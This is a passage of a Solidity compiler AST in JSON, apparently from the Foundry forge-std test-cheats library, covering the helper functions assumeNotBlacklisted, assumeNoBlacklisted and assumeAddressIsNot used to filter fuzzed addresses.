Vm"}},"id":3838,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5893:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"5890:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":3851,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5890:62:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3852,"nodeType":"ExpressionStatement","src":"5890:62:3"},{"expression":{"id":3864,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"components":[{"id":3853,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3818,"src":"6035:7:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":3854,"name":"returnData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3821,"src":"6044:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"id":3855,"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"TupleExpression","src":"6034:21:3","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"hexValue":"30786534376436303630","id":3860,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6098:10:3","typeDescriptions":{"typeIdentifier":"t_rational_3833421920_by_1","typeString":"int_const 3833421920"},"value":"0xe47d6060"},{"id":3861,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3803,"src":"6110:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_3833421920_by_1","typeString":"int_const 3833421920"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":3858,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6075:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":3859,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6079:18:3","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"6075:22:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":3862,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6075:40:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":3856,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3801,"src":"6058:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":3857,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6064:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"6058:16:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":3863,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6058:58:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"src":"6034:82:3","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3865,"nodeType":"ExpressionStatement","src":"6034:82:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":3880,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3870,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"6136:8:3","subExpression":{"id":3869,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3818,"src":"6137:7:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":3879,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":3873,"name":"returnData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3821,"src":"6159:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":3875,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6172:4:3","typeDescriptions":{"typeIdentifier":"t_type$_t_bool_$","typeString":"type(bool)"},"typeName":{"id":3874,"name":"bool","nodeType":"ElementaryTypeName","src":"6172:4:3","typeDescriptions":{}}}],"id":3876,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"6171:6:3","typeDescriptions":{"typeIdentifier":"t_type$_t_bool_$","typeString":"type(bool)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_bool_$","typeString":"type(bool)"}],"expression":{"id":3871,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6148:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":3872,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6152:6:3","memberName":"decode","nodeType":"MemberAccess","src":"6148:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":3877,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6148:30:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"66616c7365","id":3878,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"6182:5:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"6148:39:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"6136:51:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":3866,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"6126:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":3868,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6129:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"6126:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":3881,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6126:62:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3882,"nodeType":"ExpressionStatement","src":"6126:62:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeNotBlacklisted","nameLocation":"5301:20:3","parameters":{"id":3804,"nodeType":"ParameterList","parameters":[{"constant":false,"id":3801,"mutability":"mutable","name":"token","nameLocation":"5330:5:3","nodeType":"VariableDeclaration","scope":3884,"src":"5322:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3800,"name":"address","nodeType":"ElementaryTypeName","src":"5322:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3803,"mutability":"mutable","name":"addr","nameLocation":"5345:4:3","nodeType":"VariableDeclaration","scope":3884,"src":"5337:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3802,"name":"address","nodeType":"ElementaryTypeName","src":"5337:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5321:29:3"},"returnParameters":{"id":3805,"nodeType":"ParameterList","parameters":[],"src":"5373:0:3"},"scope":5537,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":3897,"nodeType":"FunctionDefinition","src":"6584:130:3","nodes":[],"body":{"id":3896,"nodeType":"Block","src":"6664:50:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":3892,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3886,"src":"6695:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":3893,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3888,"src":"6702:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"id":3891,"name":"assumeNotBlacklisted","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3884,"src":"6674:20:3","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) view"}},"id":3894,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6674:33:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3895,"nodeType":"ExpressionStatement","src":"6674:33:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeNoBlacklisted","nameLocation":"6593:19:3","parameters":{"id":3889,"nodeType":"ParameterList","parameters":[{"constant":false,"id":3886,"mutability":"mutable","name":"token","nameLocation":"6621:5:3","nodeType":"VariableDeclaration","scope":3897,"src":"6613:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3885,"name":"address","nodeType":"ElementaryTypeName","src":"6613:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3888,"mutability":"mutable","name":"addr","nameLocation":"6636:4:3","nodeType":"VariableDeclaration","scope":3897,"src":"6628:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3887,"name":"address","nodeType":"ElementaryTypeName","src":"6628:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"6612:29:3"},"returnParameters":{"id":3890,"nodeType":"ParameterList","parameters":[],"src":"6664:0:3"},"scope":5537,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":3956,"nodeType":"FunctionDefinition","src":"6720:583:3","nodes":[],"body":{"id":3955,"nodeType":"Block","src":"6804:499:3","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"id":3908,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3905,"name":"addressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3902,"src":"6818:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":3906,"name":"AddressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3799,"src":"6833:11:3","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_AddressType_$3799_$","typeString":"type(enum StdCheatsSafe.AddressType)"}},"id":3907,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6845:7:3","memberName":"Payable","nodeType":"MemberAccess","referencedDeclaration":3794,"src":"6833:19:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"src":"6818:34:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"condition":{"commonType":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"id":3917,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3914,"name":"addressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3902,"src":"6911:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":3915,"name":"AddressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3799,"src":"6926:11:3","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_AddressType_$3799_$","typeString":"type(enum StdCheatsSafe.AddressType)"}},"id":3916,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6938:10:3","memberName":"NonPayable","nodeType":"MemberAccess","referencedDeclaration":3795,"src":"6926:22:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"src":"6911:37:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"condition":{"commonType":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"id":3926,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3923,"name":"addressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3902,"src":"7004:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":3924,"name":"AddressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3799,"src":"7019:11:3","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_AddressType_$3799_$","typeString":"type(enum StdCheatsSafe.AddressType)"}},"id":3925,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7031:11:3","memberName":"ZeroAddress","nodeType":"MemberAccess","referencedDeclaration":3796,"src":"7019:23:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"src":"7004:38:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"condition":{"commonType":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"id":3935,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3932,"name":"addressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3902,"src":"7105:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":3933,"name":"AddressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3799,"src":"7120:11:3","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_AddressType_$3799_$","typeString":"type(enum StdCheatsSafe.AddressType)"}},"id":3934,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7132:10:3","memberName":"Precompile","nodeType":"MemberAccess","referencedDeclaration":3797,"src":"7120:22:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"src":"7105:37:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"condition":{"commonType":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"id":3944,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3941,"name":"addressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3902,"src":"7204:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":3942,"name":"AddressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3799,"src":"7219:11:3","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_AddressType_$3799_$","typeString":"type(enum StdCheatsSafe.AddressType)"}},"id":3943,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7231:12:3","memberName":"ForgeAddress","nodeType":"MemberAccess","referencedDeclaration":3798,"src":"7219:24:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"src":"7204:39:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":3950,"nodeType":"IfStatement","src":"7200:97:3","trueBody":{"id":3949,"nodeType":"Block","src":"7245:52:3","statements":[{"expression":{"arguments":[{"id":3946,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3899,"src":"7281:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":3945,"name":"assumeNotForgeAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4345,"src":"7259:21:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_address_$returns$__$","typeString":"function (address) pure"}},"id":3947,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7259:27:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3948,"nodeType":"ExpressionStatement","src":"7259:27:3"}]}},"id":3951,"nodeType":"IfStatement","src":"7101:196:3","trueBody":{"id":3940,"nodeType":"Block","src":"7144:50:3","statements":[{"expression":{"arguments":[{"id":3937,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3899,"src":"7178:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":3936,"name":"assumeNotPrecompile","nodeType":"Identifier","overloadedDeclarations":[4177,4320],"referencedDeclaration":4177,"src":"7158:19:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_address_$returns$__$","typeString":"function (address) pure"}},"id":3938,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7158:25:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3939,"nodeType":"ExpressionStatement","src":"7158:25:3"}]}},"id":3952,"nodeType":"IfStatement","src":"7000:297:3","trueBody":{"id":3931,"nodeType":"Block","src":"7044:51:3","statements":[{"expression":{"arguments":[{"id":3928,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3899,"src":"7079:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":3927,"name":"assumeNotZeroAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4165,"src":"7058:20:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_address_$returns$__$","typeString":"function (address) pure"}},"id":3929,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7058:26:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3930,"nodeType":"ExpressionStatement","src":"7058:26:3"}]}},"id":3953,"nodeType":"IfStatement","src":"6907:390:3","trueBody":{"id":3922,"nodeType":"Block","src":"6950:44:3","statements":[{"expression":{"arguments":[{"id":3919,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3899,"src":"6978:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":3918,"name":"assumePayable","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4133,"src":"6964:13:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":3920,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6964:19:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3921,"nodeType":"ExpressionStatement","src":"6964:19:3"}]}},"id":3954,"nodeType":"IfStatement","src":"6814:483:3","trueBody":{"id":3913,"nodeType":"Block","src":"6854:47:3","statements":[{"expression":{"arguments":[{"id":3910,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3899,"src":"6885:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":3909,"name":"assumeNotPayable","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4148,"src":"6868:16:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":3911,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6868:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3912,"nodeType":"ExpressionStatement","src":"6868:22:3"}]}}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeAddressIsNot","nameLocation":"6729:18:3","parameters":{"id":3903,"nodeType":"ParameterList","parameters":[{"constant":false,"id":3899,"mutability":"mutable","name":"addr","nameLocation":"6756:4:3","nodeType":"VariableDeclaration","scope":3956,"src":"6748:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3898,"name":"address","nodeType":"ElementaryTypeName","src":"6748:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3902,"mutability":"mutable","name":"addressType","nameLocation":"6774:11:3","nodeType":"VariableDeclaration","scope":3956,"src":"6762:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":3901,"nodeType":"UserDefinedTypeName","pathNode":{"id":3900,"name":"AddressType","nameLocations":["6762:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"6762:11:3"},"referencedDeclaration":3799,"src":"6762:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"}],"src":"6747:39:3"},"returnParameters":{"id":3904,"nodeType":"ParameterList","parameters":[],"src":"6804:0:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":3978,"nodeType":"FunctionDefinition","src":"7309:214:3","nodes":[],"body":{"id":3977,"nodeType":"Block","src":"7420:103:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":3968,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3958,"src":"7449:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":3969,"name":"addressType1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3961,"src":"7455:12:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}],"id":3967,"name":"assumeAddressIsNot","nodeType":"Identifier","overloadedDeclarations":[3956,3978,4008,4046],"referencedDeclaration":3956,"src":"7430:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_enum$_AddressType_$3799_$returns$__$","typeString":"function (address,enum StdCheatsSafe.AddressType)"}},"id":3970,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7430:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3971,"nodeType":"ExpressionStatement","src":"7430:38:3"},{"expression":{"arguments":[{"id":3973,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3958,"src":"7497:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":3974,"name":"addressType2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3964,"src":"7503:12:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}],"id":3972,"name":"assumeAddressIsNot","nodeType":"Identifier","overloadedDeclarations":[3956,3978,4008,4046],"referencedDeclaration":3956,"src":"7478:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_enum$_AddressType_$3799_$returns$__$","typeString":"function (address,enum StdCheatsSafe.AddressType)"}},"id":3975,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7478:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3976,"nodeType":"ExpressionStatement","src":"7478:38:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeAddressIsNot","nameLocation":"7318:18:3","parameters":{"id":3965,"nodeType":"ParameterList","parameters":[{"constant":false,"id":3958,"mutability":"mutable","name":"addr","nameLocation":"7345:4:3","nodeType":"VariableDeclaration","scope":3978,"src":"7337:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3957,"name":"address","nodeType":"ElementaryTypeName","src":"7337:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3961,"mutability":"mutable","name":"addressType1","nameLocation":"7363:12:3","nodeType":"VariableDeclaration","scope":3978,"src":"7351:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":3960,"nodeType":"UserDefinedTypeName","pathNode":{"id":3959,"name":"AddressType","nameLocations":["7351:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"7351:11:3"},"referencedDeclaration":3799,"src":"7351:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"},{"constant":false,"id":3964,"mutability":"mutable","name":"addressType2","nameLocation":"7389:12:3","nodeType":"VariableDeclaration","scope":3978,"src":"7377:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":3963,"nodeType":"UserDefinedTypeName","pathNode":{"id":3962,"name":"AddressType","nameLocations":["7377:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"7377:11:3"},"referencedDeclaration":3799,"src":"7377:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum 